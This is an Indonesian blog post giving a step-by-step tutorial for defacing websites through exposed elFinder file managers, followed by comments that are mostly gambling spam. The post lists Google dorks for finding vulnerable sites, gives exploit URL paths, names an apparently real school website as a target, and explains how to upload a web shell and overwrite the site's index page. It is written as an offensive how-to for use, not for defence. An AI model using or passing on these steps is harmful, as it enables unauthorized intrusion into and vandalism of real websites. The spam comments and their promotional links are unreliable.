Senin, 23 Juni 2014

Deface Dengan Teknik Elfinder - Assalamu'alaikum.Wr.Wb kali ini saya akan berbagi trik deface dengan teknik metode elfinder ,mungkin metode ini sudah agak lama tapi masih ada beberapa website yang vuln dengan metode dan cara nya pun cukup mudah .

okee mari kita simak bersama :D

DORK Google : 
inurl:/elfinder/elfinder.php.html

inurl:/elfinder/files/

Exploit:
http://site.com/[path]/elfinder/elfinder.html
http://site.com/[path]/elfinder/elfinder.php.html
http://site.com/[path]/elfinder/src/elfinder-src.php.html
http://site.com/[path]/elfinder/elfinder.src.html

http://site.com/[path]/elfinder/elfinder.html.sav


1 . masukin dork ke mbah ,dan pilih salah satu yang ada di list tersebut .



2 . di sini saya sudah mendapatkan target untuk di eksekusi ,
contoh http://www.colegioelo.com/newartra/elfinder/files/imagem/Aluna%20isabela.pdf
lalu masukan exploit nya maka akan seperti gambar di bawah ini .



3 . setelah itu upload shell agan yang akan di buka nanti ,klik gambar yang saya tandai seperti gambar di bawah dan tunggu sebentar .




4 . tinggal buka deh shell nya haha cara nya gemana ?? gampang ko tinggal klik gambar nya pilih Get Info ( tidak semua nya bertuliskan Get Info tergantung dari Bahasa nya wkwk ) seperti contoh saya di bawah lalu klik nama shell nya .



5 . dan taraaaaaaaaaaa shell nya berhasil terupload pada web tersebut .


6 . setelah shell telah terbuka tinggal cari index pada web tersebut kalo di sini mengganti shell dengan script defacean saya hahaha =D


sekian tutor kecil dari saya semoga bermanfaat good luck bro ^_^

12 komentar:

  1. Nice post. I learn something new and challenging on websites I stumble upon every day
    You article very Good
    Daftar BandarQQ

    BalasHapus
  2. Numpang promo ya :) yuk kunjungi https://goo.gl/7h1Jtt kalian bisa dapatkan jackpot hingga puluhan juta rupiah. Minimal deposit dan withdraw hanya Rp. 20.000 . Dapatkan bonus rolingan sebesar 0.3-0.5 dan dapatkan bonus referra sebesar 20%. Hanya di berkahpoker bank online 24 jam Non-stop.

    Untuk info lebih lanjut segera hubungi Custumer Service kami di :
    - BBM : 2B1A139
    - YM : BERKAHPOKER_CS
    - WECHAT : +85585411172

    ingin daftar langsung klik disini https://goo.gl/fbTkLd

    BalasHapus
  3. Even if this was not the kind of information i was looking for, i can boldly say that what you have offered could be much more worth than what i was looking for. You have certainly offered the best kind of information.
    Project management projects

    BalasHapus
  4. Ijin Share & Promot Min :


    [Promo] Dapatkan Bonus Promo SPECIAL Khusus Sampai Akhir Bulan Maret 2017 Menanti Anda Hanya Di ( >> www.bavetline88.com << )
    Cukup Dengan Menekan 1 Klik Link Website Ini ( >> www.bavetline88.com << ) Bonus Ditangan Anda :

    ~ Bonus Sportsbook ~

    1. Bonus 20% untuk member baru Sbobet, Ibcbet dan Asia77.
    2. Bonus minimal deposit awal hingga Rp 300.000,-.
    3. Bonus Maximal yang diberikan perhari mencapai hingga Rp.1.000.000.
    4. Bonus kemenangan 5% untuk produk Sbobet, Ibcbet, Asia77.
    5. Promo rollingan sebesar 0.5% dan 0.7%.
    6. Promo cashback hingga 5%.

    ~ Bonus Casino Online ~

    1. Dapatkan Bonus 10% untuk member baru 338A, 1S Casino, Asia8bet.
    2. Bonus minimal deposit awal hingga Rp 300.000,-.
    3. Bonus Maximal yang diberikan per hari mencapai hingga Rp.1.000.000,-.
    4. Bonus kemenangan 2.5% dari Deposit.
    5. Bonus Cashback hingga 5% diberikan kepada member yang mengalami kekalahan diatas Rp.1.000.000,-.
    6. Bonus Cashback hingga 10% diberikan kepada member yang mengalami kekalahan diatas Rp.10.000.000,-.
    7. Bonus Rollingan hingga 1% untuk semua permainan Casino.

    ~ Bonus Tangkas ~

    1. Bonus Deposit awal hingga 20% Khusus Produk Bola Tangkas dan Tangkasnet.

    ~ Bonus Asia Poker 77 ~

    1.Dapatkan komisi Rollingan Hingga 2% yang sudah di set kedalam ID Asia Poker 77 milik anda.

    ~ ( BONUS REFERENSI ) ~

    1. Bila Anda Mengajak Dan Mengenalkan Bavetline Kepada Teman Anda Maka Anda Mendapatkan Bonus Rollingan Hingga 0.5% (All SportsBook).
    2. Bila Anda Mengajak Dan Mengenalkan Bavetline Kepada Teman Anda Maka Anda Mendapatkan Bonus Rollingan 0.4% (All Casino).

    ( Note : Syarat Dan Ketentuan Berlaku )

    Ayo Segera Bergabung Menjadi Salah Satu Bagian Dari Kami Dapatkan Bonus Promo SPECIAL Berlimpah Menanti Anda hanya di ( >> www.bavetline88.com << )

    BalasHapus
  5. NICE.....Informasi Artikel Mantap sekali gan !!!
    Thanks ya gan artikelnya jadi menambah ilmu pengetahuan saya serta sangat bermanfaat sekali gan bagi saya,
    Jangan lupa juga gan Kunjungi website ane gan siapa tau bermanfaat bagi agan.
    CLICK HERE

    Apakah agan penggila BOLA? Ingin mencoba taruhan online tim kesayangan/favorit anda?
    Ayo gabung bersama kami sekarang juga gan hanya di Daftarbet303link.com
    !!!! banyak Bonus"nya jangan sampai terlewatkan hanya di Daftarbet303link.com

    Jika anda tertarik dan sering ditipu oleh situs lain , jangan khawatir gan www.Daftarbet303link.com
    Solusi yang sangat tepat untuk anda
    Terpercaya dan Aman 100% gan ,sudah bertahun tahun situs ini berdiri gan.Ayo Segera daftarkan diri anda sekarang juga dapatkan
    penawaran menarik dan eksklusif khusus untuk anda hanya ada di HARI INI !!!

    BalasHapus